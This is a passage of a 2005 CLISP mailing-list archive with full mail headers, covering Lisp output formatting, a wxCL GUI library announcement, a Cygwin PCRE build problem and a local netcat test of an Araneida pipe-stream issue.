X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Aug 14 13:45:12 2005 X-Original-Date: Sun, 14 Aug 2005 22:43:10 +0200 Onay writes: > is there any way to influence to output of e.g. > > (setf a #(1.234567877777777777775555555L0 555)) > > so that the output is like > > #(1.23L0 555) > > instead of > > #(1.234567877777777777775555555L0 555) ?? > I am aware of the format directive F, like "~10f" prints 10 characters only... > But this seems not to work on vectors/arrays. (format t "#(~{~5F~^ ~})~%" (coerce a 'list)) #(1.235 555.0) (format t "#(~{~10E~^ ~})~%" (coerce a 'list)) #(1.23457L+0 5.55E+2) -- __Pascal Bourguignon__ http://www.informatimago.com/ From lisp-clisp-list@m.gmane.org Mon Aug 15 00:34:16 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E4ZU8-0006MN-3T for clisp-list@lists.sourceforge.net; Mon, 15 Aug 2005 00:34:16 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1E4ZU5-0005Yu-OB for clisp-list@lists.sourceforge.net; Mon, 15 Aug 2005 00:34:16 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1E4ZSs-0004pd-RQ for clisp-list@lists.sourceforge.net; Mon, 15 Aug 2005 09:32:58 +0200 Received: from c-67-180-92-49.hsd1.ca.comcast.net ([67.180.92.49]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 15 Aug 2005 09:32:58 +0200 Received: from efuzzyone by c-67-180-92-49.hsd1.ca.comcast.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 15 Aug 2005 09:32:58 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Surendra Singhi Lines: 41 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c-67-180-92-49.hsd1.ca.comcast.net User-Agent: Gnus/5.1007 (Gnus v5.10.7) XEmacs/21.5 (chayote, windows-nt) Cc: wxcl-devel@lists.sourceforge.net X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] ANN: wxCL 1.0.0 Alpha, a portable GUI Library Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Aug 15 00:35:03 2005 X-Original-Date: Mon, 15 Aug 2005 00:32:14 -0700 Announcement: wxCL 1.0.0 --------------------------- We are pleased to announce the first release (1.0.0 Alpha) of wxCL, a new open source GUI library for Common Lisp. The goal of the project is to provide an industrial strength portable GUI library for application developers, which runs across all lisp implementation and operating system platforms. wxCL builds upon wxWidgets, a comprehensive C++ library that provides uniform application interface to all major GUI platforms; including GTK, Windows, X11, and MacOS X. wxWidgets is a mature library which was first released in 1992, and since improved upon by a committed developer community, it is ranked among the top 25 most active projects on sourceforge. wxWidgets makes many features available to Common Lisp environments which have been missing in traditional GUI toolkits for this programming language. The current release of wxCL already supports about 75 % of the wxWidgets (release 2.4.2) functionality: almost 1,500 member functions of 125 classes with 1,200 constant definitions. It runs on CLISP, an open-source, ANSI-compliant implementation of Common Lisp and is tested on Windows XP but it should work on Linux and Mac OS X as well (not tested due to lack of resources). Most of the Foreign Function Interface were automatically generated using the clisp module of SWIG from the C bindings written by wxEiffel and wxHaskell project groups. Due to the size of the library, not all of the bindings have been validated, but we expect most of them to work without much tweaking. We look forward to your feedback on the first release of wxCL and hope it serves your needs. All the best, wxCL - Project Team. From kavenchuk@jenty.by Mon Aug 15 01:31:01 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E4aN2-0000Rc-UC for clisp-list@lists.sourceforge.net; Mon, 15 Aug 2005 01:31:00 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E4aN1-0007Wi-2q for clisp-list@lists.sourceforge.net; Mon, 15 Aug 2005 01:31:01 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id QTVG8DF8; Mon, 15 Aug 2005 11:31:16 +0300 Message-ID: <430052FB.4080207@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: ansi tests filed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Aug 15 01:32:01 2005 X-Original-Date: Mon, 15 Aug 2005 11:31:55 +0300 Sam Steingold wrote: >>(test DESCRIBE.1 filed) > > > could you please try to figure out which object is being described > (*universe* is rather large...) > thanks! > (describe nil) is crash clisp > PS. it's "failed", not "filed" > see http://www.m-w.com/cgi-bin/netdict?fail > http://www.m-w.com/cgi-bin/netdict?file Oops! Sorry. Thanks. -- WBR, Yaroslav Kavenchuk. From shutej@google.com Mon Aug 15 07:02:53 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E4fYC-0007Qb-UU for clisp-list@lists.sourceforge.net; Mon, 15 Aug 2005 07:02:52 -0700 Received: from 216-239-45-4.google.com ([216.239.45.4]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1E4fYB-0006sx-Rs for clisp-list@lists.sourceforge.net; Mon, 15 Aug 2005 07:02:53 -0700 Received: from mirapoint8.corp.google.com (mirapoint8.corp.google.com [172.24.0.44]) by nappa.corp.google.com with ESMTP id j7FE2cER005962 (version=TLSv1/SSLv3 cipher=DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 15 Aug 2005 07:02:40 -0700 Received: from [172.29.36.243] (shutej.nyc.corp.google.com [172.29.36.243]) by mirapoint8.corp.google.com (MOS 3.5.8-GR) with ESMTP id ACM96533 (AUTH shutej); Mon, 15 Aug 2005 07:02:37 -0700 (PDT) Message-ID: <4300A079.9000809@google.com> From: Jeremy Shute User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050519 Red Hat/1.7.8-0.90.1gg1 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <42FBBB68.3060106@google.com> <42FD0C32.6080106@google.com> <42FF3CA6.3000601@google.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -4.3 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.3 RCVD_IN_BSP_TRUSTED RBL: Sender is in Bonded Sender Program (trusted relay) [IronPort Bonded Sender - ] Subject: [clisp-list] Re: clisp 2.34 does not build correctly on Cygwin. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Aug 15 07:03:27 2005 X-Original-Date: Mon, 15 Aug 2005 10:02:33 -0400 Sam Steingold wrote: >>* Jeremy Shute [2005-08-14 08:44:22 -0400]: >> >>OK, I did exactly as you said. Here are the results: >> >>configure: * PCRE (Functions): >>checking for library containing pcre_compile... no >>configure: error: cannot find PCRE library >>make: *** [pcre] Error 1 >> >>This is why I used the LIB variable, before. The library is there, but >>the configure script in the PCRE module doesn't see it. >> >> > >sorry, make that --with-libpcre-prefix=/usr/local > > Exact same error. I deleted the entire tree, checked out again, ran the ./configure you sent to me last time with "--with-libpcre-prefix" instead of "--with-pcre-prefix" and the exact same thing happened. Jeremy From sds@gnu.org Mon Aug 15 07:56:19 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E4gNv-0001sb-NI for clisp-list@lists.sourceforge.net; Mon, 15 Aug 2005 07:56:19 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E4gNr-0001h7-CL for clisp-list@lists.sourceforge.net; Mon, 15 Aug 2005 07:56:19 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j7FEtXc8005270; Mon, 15 Aug 2005 10:55:50 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <430052FB.4080207@jenty.by> (Yaroslav Kavenchuk's message of "Mon, 15 Aug 2005 11:31:55 +0300") References: <430052FB.4080207@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: ansi tests filed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Aug 15 07:57:16 2005 X-Original-Date: Mon, 15 Aug 2005 10:54:45 -0400 > * Yaroslav Kavenchuk [2005-08-15 11:31:55 +0300]: > > Sam Steingold wrote: > >>>(test DESCRIBE.1 filed) >> >> >> could you please try to figure out which object is being described >> (*universe* is rather large...) >> thanks! >> > > (describe nil) is crash clisp thanks - fixed in the CVS. -- Sam Steingold (http://www.podval.org/~sds) running w2k Diplomacy is the art of saying "nice doggy" until you can find a rock. From sds@gnu.org Mon Aug 15 08:08:22 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E4gZa-0002cm-2j for clisp-list@lists.sourceforge.net; Mon, 15 Aug 2005 08:08:22 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E4gZY-0005D7-4t for clisp-list@lists.sourceforge.net; Mon, 15 Aug 2005 08:08:22 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j7FF85Fc007051; Mon, 15 Aug 2005 11:08:06 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Kai Kaminski Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <42F8C3B9.2070401@gmail.com> (Kai Kaminski's message of "Tue, 09 Aug 2005 16:54:49 +0200") References: <42F8C3B9.2070401@gmail.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Kai Kaminski Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.5 WEIRD_PORT URI: Uses non-standard port number for HTTP -0.3 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Araneida: make-pipe-io-stream in handle-request-response Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Aug 15 08:09:18 2005 X-Original-Date: Mon, 15 Aug 2005 11:07:17 -0400 > * Kai Kaminski [2005-08-09 16:54:49 +0200]: > > I'm using Clisp 2.33.2 2.34 has been released... > If I add a call to SOCKET-STREAM-SHUTDOWN with direction :OUTPUT ...and SOCKET-STREAM-SHUTDOWN behavior has been fixed in the CVS _after_ the release... > I'm still curious how the call to MAKE-PIPE-IO-STREAM manages to mess > things up. I think it's not MAKE-PIPE-IO-STREAM as much as the _program_ it runs. > (format (ext:make-pipe-io-stream "nc localhost 1234") > "Hello world!") OUCH!!! you are not closing the three streams created by MAKE-PIPE-IO-STREAM! this means that "nc" (whatever that thing does) probably never exits! try this instead: (with-open-stream (s (ext:make-pipe-output-stream "nc localhost 1234")) (format s "Hello world!")) > To try this, load araneida, then start some program listening on port > 1234 (e.g. nc -l -p 1234) and then do (start-listening *listener*) and > (host-serve-events). Then try to load http://localhost:8000/hello > (127.0.0.1 won't do). I've tried this with several versions of Firefox, > Safari and w3m. I hope a resident TCP expert will help you as this is all Greek to me. > If you uncomment the line where SOCKET-STREAM-SHUTDOWN is called, > everything should work. if you would like to use SOCKET-STREAM-SHUTDOWN, you should try CVS head. -- Sam Steingold (http://www.podval.org/~sds) running w2k "Complete Idiots Guide to Running LINUX Unleashed in a Nutshell for Dummies" From sds@gnu.org Mon Aug 15 08:32:34 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E4gwz-00042K-Pd for clisp-list@lists.sourceforge.net; Mon, 15 Aug 2005 08:32:33 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E4gww-0002CF-Br for clisp-list@lists.sourceforge.net; Mon, 15 Aug 2005 08:32:33 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j7FFWLxs010853; Mon, 15 Aug 2005 11:32:21 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Jeremy Shute Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <4300A079.9000809@google.com> (Jeremy Shute's message of "Mon, 15 Aug 2005 10:02:33 -0400") References: <42FBBB68.3060106@google.com> <42FD0C32.6080106@google.com> <42FF3CA6.3000601@google.com> <4300A079.9000809@google.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Jeremy Shute Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp 2.34 does not build correctly on Cygwin. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Aug 15 08:33:20 2005 X-Original-Date: Mon, 15 Aug 2005 11:31:32 -0400 > * Jeremy Shute [2005-08-15 10:02:33 -0400]: > > Sam Steingold wrote: > >>>* Jeremy Shute [2005-08-14 08:44:22 -0400]: >>> >>>OK, I did exactly as you said. Here are the results: >>> >>>configure: * PCRE (Functions): >>>checking for library containing pcre_compile... no >>>configure: error: cannot find PCRE library >>>make: *** [pcre] Error 1 >>> >>>This is why I used the LIB variable, before. The library is there, but >>>the configure script in the PCRE module doesn't see it. >>> >>> >> >>sorry, make that --with-libpcre-prefix=/usr/local >> >> > Exact same error. I deleted the entire tree, checked out again, ran the > ./configure you sent to me last time with "--with-libpcre-prefix" > instead of "--with-pcre-prefix" and the exact same thing happened. 1. if you pass the build directory name to configure, you do not need to removed the source tree, just the build directory: $ ./configure --build build success? try clisp: $ cd build; ./clisp .....; cd .. unhappy: remove the build tree: $ rm -rf build reconfigure: $ ./configure --build build 2. if --with-libpcre-prefix=/usr/local does not work, please inspect build/pcre/config.log and see why it fails. it might well be that your pcre is not properly installed. it might also be that you have an unsupported pcre version. (this should be reported to you during build, see configure messages). 3. I still do not know what is "the exact same thing". You might want make that available to me: $ ./configure --build build .... >log 2>&1 and post the URL of the "log" file here (not the file, just the URL!) -- Sam Steingold (http://www.podval.org/~sds) running w2k Bill Gates is great, as long as `bill' is a verb. From kai.kaminski@gmail.com Mon Aug 15 09:23:23 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E4hkB-0006UV-NK for clisp-list@lists.sourceforge.net; Mon, 15 Aug 2005 09:23:23 -0700 Received: from rproxy.gmail.com ([64.233.170.196]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E4hkA-0004wc-00 for clisp-list@lists.sourceforge.net; Mon, 15 Aug 2005 09:23:23 -0700 Received: by rproxy.gmail.com with SMTP id j1so804900rnf for ; Mon, 15 Aug 2005 09:23:20 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:user-agent:x-accept-language:mime-version:to:cc:subject:references:in-reply-to:content-type:content-transfer-encoding; b=CQFbpmTWY87LOnTEr0nvEJkj30kny4nc5VtZbVowZzGeAa94+Q7Pa8chAY9YhpQu56XE6Zoagnt3Yz6k7R0GYnzy62MH/M3auGmlvS1jXR13DHfWP2YSQ19ZnublqoVWdIdlQH4JgBrWtM2H43/HhYOx4mlF7HnNZK5VVUfEUew= Received: by 10.38.75.11 with SMTP id x11mr1809566rna; Mon, 15 Aug 2005 09:23:20 -0700 (PDT) Received: from ?192.168.2.100? ([84.159.95.207]) by mx.gmail.com with ESMTP id k6sm1417783rnd.2005.08.15.09.23.19; Mon, 15 Aug 2005 09:23:20 -0700 (PDT) Message-ID: <4300C193.8010103@gmail.com> From: Kai Kaminski User-Agent: Mozilla Thunderbird 1.0.2 (Macintosh/20050317) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net CC: sds@gnu.org References: <42F8C3B9.2070401@gmail.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.4 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.5 WEIRD_PORT URI: Uses non-standard port number for HTTP -0.2 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Araneida: make-pipe-io-stream in handle-request-response Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Aug 15 09:24:27 2005 X-Original-Date: Mon, 15 Aug 2005 18:23:47 +0200 Hi Sam, thanks for your quick reply. Sam Steingold wrote: >>* Kai Kaminski [2005-08-09 16:54:49 +0200]: >> >>I'm using Clisp 2.33.2 >> >> > >2.34 has been released... > > I have it installed now, but the behaviour hasn't changed apparently. >>I'm still curious how the call to MAKE-PIPE-IO-STREAM manages to mess >>things up. >> >> > >I think it's not MAKE-PIPE-IO-STREAM as much as the _program_ it runs. > > I can't rule that out, but there are at least two programs that have this problem. >> (format (ext:make-pipe-io-stream "nc localhost 1234") >> "Hello world!") >> >> > >OUCH!!! >you are not closing the three streams created by MAKE-PIPE-IO-STREAM! >this means that "nc" (whatever that thing does) probably never exits! > > The above is just an example. In my own code I do close the streams eventually. NC is netcat, a unix tool that connects its standard io to a remote tcp port, i.e. it forwards all its input to localhost:1234 and prints all data that comes from there, until one of the streams is closed. I should have been clearer about this. My code starts a different program. The above is only the shortest piece of code that demonstrates the problem. I chose to call netcat because I was under the impression that nowadays it is already installed on most UNIX systems. I know that it never exits, but that is the point. I should also mention that the TCP connection established by netcat has nothing to do with the problem and can be ignored. >try this instead: > >(with-open-stream (s (ext:make-pipe-output-stream "nc localhost 1234")) > (format s "Hello world!")) > > I can't do that, because I want to talk to the same running instance of this program again later. >>To try this, load araneida, then start some program listening on port >>1234 (e.g. nc -l -p 1234) and then do (start-listening *listener*) and >>(host-serve-events). Then try to load http://localhost:8000/hello >>(127.0.0.1 won't do). I've tried this with several versions of Firefox, >>Safari and w3m. >> >> > >I hope a resident TCP expert will help you >as this is all Greek to me. > > This is not a TCP problem. The TCP connection is established and it is actually possible to send data. Let me try to be clearer what my problem is. Araneida receives an HTTP request and calls my HANDLE-REQUEST-RESPONSE. If I call MAKE-PIPE-IO-STREAM in that method, Araneida doesn't close the HTTP connection, even though all the data has been transferred (over HTTP). HANDLE-REQUEST-RESPONSE definitely returns. It does not matter if I try to actually send or receive data using the streams returned by MAKE-PIPE-IO-STREAM. If I now add a call to SOCKET-STREAM-SHUTDOWN in HANDLE-REQUEST-RESPONSE to close the HTTP connection socket everything works as expected. In that sense one could say that SOCKET-STREAM-SHUTDOWN always worked for me. I just looked at the Araneida source code again and it seems that it doesn't call SOCKET-STREAM-SHUTDOWN. Instead it calls CLOSE and if that fails (CLOSE ... :ABORT T). The exact code is (defun forcibly-close-stream (s) (socket:socket-status s) (multiple-value-bind (r e) (ignore-errors (close s) t) (unless r (format t "Unable to close: ~A, trying harder ~%" e) (multiple-value-bind (r e) (ignore-errors (close s :abort t) t) (unless r (format t "Even close :abort t failed:~A, giving up~%" e)))))) Maybe that has to do with the problem as well, I don't know. Cheers, Kai From shutej@google.com Mon Aug 15 09:59:29 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E4iJ7-0008I6-EA for clisp-list@lists.sourceforge.net; Mon, 15 Aug 2005 09:59:29 -0700 Received: from 216-239-45-4.google.com ([216.239.45.4]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1E4iJ6-0006RS-BR for clisp-list@lists.sourceforge.net; Mon, 15 Aug 2005 09:59:29 -0700 Received: from mirapoint8.corp.google.com (mirapoint8.corp.google.com [172.24.0.44]) by lois.corp.google.com with ESMTP id j7FGx7o8028497 (version=TLSv1/SSLv3 cipher=DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 15 Aug 2005 09:59:07 -0700 Received: from [172.29.36.243] (shutej.nyc.corp.google.com [172.29.36.243]) by mirapoint8.corp.google.com (MOS 3.5.8-GR) with ESMTP id ACN04751 (AUTH shutej); Mon, 15 Aug 2005 09:59:06 -0700 (PDT) Message-ID: <4300C9D8.2040108@google.com> From: Jeremy Shute User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050519 Red Hat/1.7.8-0.90.1gg1 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <42FBBB68.3060106@google.com> <42FD0C32.6080106@google.com> <42FF3CA6.3000601@google.com> <4300A079.9000809@google.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -4.2 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -4.3 RCVD_IN_BSP_TRUSTED RBL: Sender is in Bonded Sender Program (trusted relay) [IronPort Bonded Sender - ] 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp 2.34 does not build correctly on Cygwin. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Aug 15 10:00:25 2005 X-Original-Date: Mon, 15 Aug 2005 12:59:04 -0400 I'm afraid I've unintentionally mislead you. libpcre.a installed, but when I went back to the libpcre source directory and did a "make test" (just to be sure the library was a full, working binary), the tests segfaulted. The culprit seems to be libpcre 6.1 under Cygwin. I bypassed the whole issue by simply --with-module=regexp instead. Then a "-k full" showed *features* to contain everything I need. However, three tests failed. I've included their *.erg files in a tarball: http://www.crazilocks.com/clisp-list.tar.gz Should I assume these are tests that are supposed to fail, or is there something I can do about those, too? Jeremy From sds@gnu.org Mon Aug 15 11:12:22 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E4jRe-0003ua-FK for clisp-list@lists.sourceforge.net; Mon, 15 Aug 2005 11:12:22 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with 